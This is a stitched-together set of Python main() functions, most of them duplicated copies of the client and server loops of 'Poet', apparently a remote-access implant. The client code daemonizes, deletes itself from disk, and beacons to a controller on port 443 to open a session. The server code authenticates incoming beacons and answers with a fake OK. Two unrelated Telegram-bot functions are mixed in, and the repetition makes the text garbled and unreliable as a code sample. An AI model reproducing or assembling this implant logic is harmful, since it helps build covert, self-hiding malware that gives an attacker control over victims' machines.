def main(): logging.basicConfig( level=logging.INFO, format='[%(asctime)s][%(module)s][%(levelname)s] %(message)s', datefmt='%Y-%m-%d %H:%M:%S') load_modules() get_module('core').updater.idle()
def main(): global args args = get_args() if CFG.SERVER_IP is not None: args.server = CFG.SERVER_IP if CFG.BEACON_INTERVAL is not None: args.interval = CFG.BEACON_INTERVAL # dynamically load all modules. needs to be before daemonize because it # needs to be able to open itself to find modindex.txt in package.c # daemonize changes the cwd so the open won't work. module.load_modules() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info('Deleting client') try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.server PORT = int(args.port) if args.port else 443 debug.info( ('Poet started with interval of {} seconds to port {}. Ctrl-c to exit' ).format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info('Server is active') PoetClient(HOST, PORT).start() else: debug.warn('Server is inactive') time.sleep(args.interval) except KeyboardInterrupt: print debug.err('Poet terminated') except Exception as e: debug.warn('Fatal error: {}'.format(e.message)) debug.err('Poet terminated') sys.exit(0)
def main(): global args args = get_args() if CFG.SERVER_IP is not None: args.server = CFG.SERVER_IP if CFG.BEACON_INTERVAL is not None: args.interval = CFG.BEACON_INTERVAL # dynamically load all modules. needs to be before daemonize because it # needs to be able to open itself to find modindex.txt in package.c # daemonize changes the cwd so the open won't work. module.load_modules() # daemonize if we're not in --no-daemon or --debug mode if not args.no_daemon and not args.debug: daemonize() # disable debug messages if we're not in --debug if not args.debug: debug.disable() if not args.no_selfdestruct: debug.info("Deleting client") try: selfdestruct() except Exception as e: # fatal sys.exit(0) HOST = args.server PORT = int(args.port) if args.port else 443 debug.info(("Poet started with interval of {} seconds to port {}. Ctrl-c to exit").format(args.interval, PORT)) try: while True: if is_active(HOST, PORT): debug.info("Server is active") PoetClient(HOST, PORT).start() else: debug.warn("Server is inactive") time.sleep(args.interval) except KeyboardInterrupt: print debug.err("Poet terminated") except Exception as e: debug.warn("Fatal error: {}".format(e.message)) debug.err("Poet terminated") sys.exit(0)
def reload(bot, update): chat_member = bot.get_chat_member(update.message.chat_id, update.message.from_user.id) logging.getLogger().warning("reload request received from '%s'", chat_member.user.username) if chat_member.status in [ChatMember.ADMINISTRATOR, ChatMember.CREATOR]: logging.getLogger().info('reloading modules') subprocess.call(["git", "pull"]) load_modules() update.message.reply_text('done') else: logging.getLogger().warning("user doesn't have permissions") update.message.reply_sticker('CAADAgADLwEAAnEVJwABIQFxj4o5xLkC', reply_to_message_id=False)
def main(): args = get_args() if args.version: print 'Poet version {}'.format(__version__) sys.exit(0) print_header() PORT = int(args.port) if args.port else 443 try: s = PoetSocketServer(PORT) except socket.error as e: if e.errno == 13: die('You need to be root!') if os.geteuid() == 0: drop_privs() debug.info('Poet server started on port: {}'.format(PORT)) module.load_modules() while True: try: conn, addr = s.accept() except KeyboardInterrupt: die() conntime = datetime.now().strftime(debug.DATE_FMT) ping = conn.recv(SIZE) if not ping: die('Socket error: {}'.format(e.message)) auth_err = authenticate(ping) if auth_err: print '[!] ({}) Connected By: {} -> INVALID! ({})'.format( conntime, addr, auth_err) conn.close() else: print '[+] ({}) Connected By: {} -> VALID'.format(conntime, addr) conn.send(FAKEOK) conn.close() try: PoetServer(s).start() break except Exception as e: print e die('Fatal error: {}'.format(e.message)) die()
def main(): args = get_args() if args.version: print 'Poet version {}'.format(__version__) sys.exit(0) print_header() PORT = int(args.port) if args.port else 443 try: s = PoetSocketServer(PORT) except socket.error as e: if e.errno == 13: die('You need to be root!') if os.geteuid() == 0: drop_privs() debug.info('Poet server started on port: {}'.format(PORT)) module.load_modules() while True: try: conn, addr = s.accept() except KeyboardInterrupt: die() conntime = datetime.now().strftime(debug.DATE_FMT) ping = conn.recv(SIZE) if not ping: die('Socket error: {}'.format(e.message)) auth_err = authenticate(ping) if auth_err: print '[!] ({}) Connected By: {} -> INVALID! ({})'.format(conntime, addr, auth_err) conn.close() else: print '[+] ({}) Connected By: {} -> VALID'.format(conntime, addr) conn.send(FAKEOK) conn.close() try: PoetServer(s).start() break except Exception as e: print e die('Fatal error: {}'.format(e.message)) die()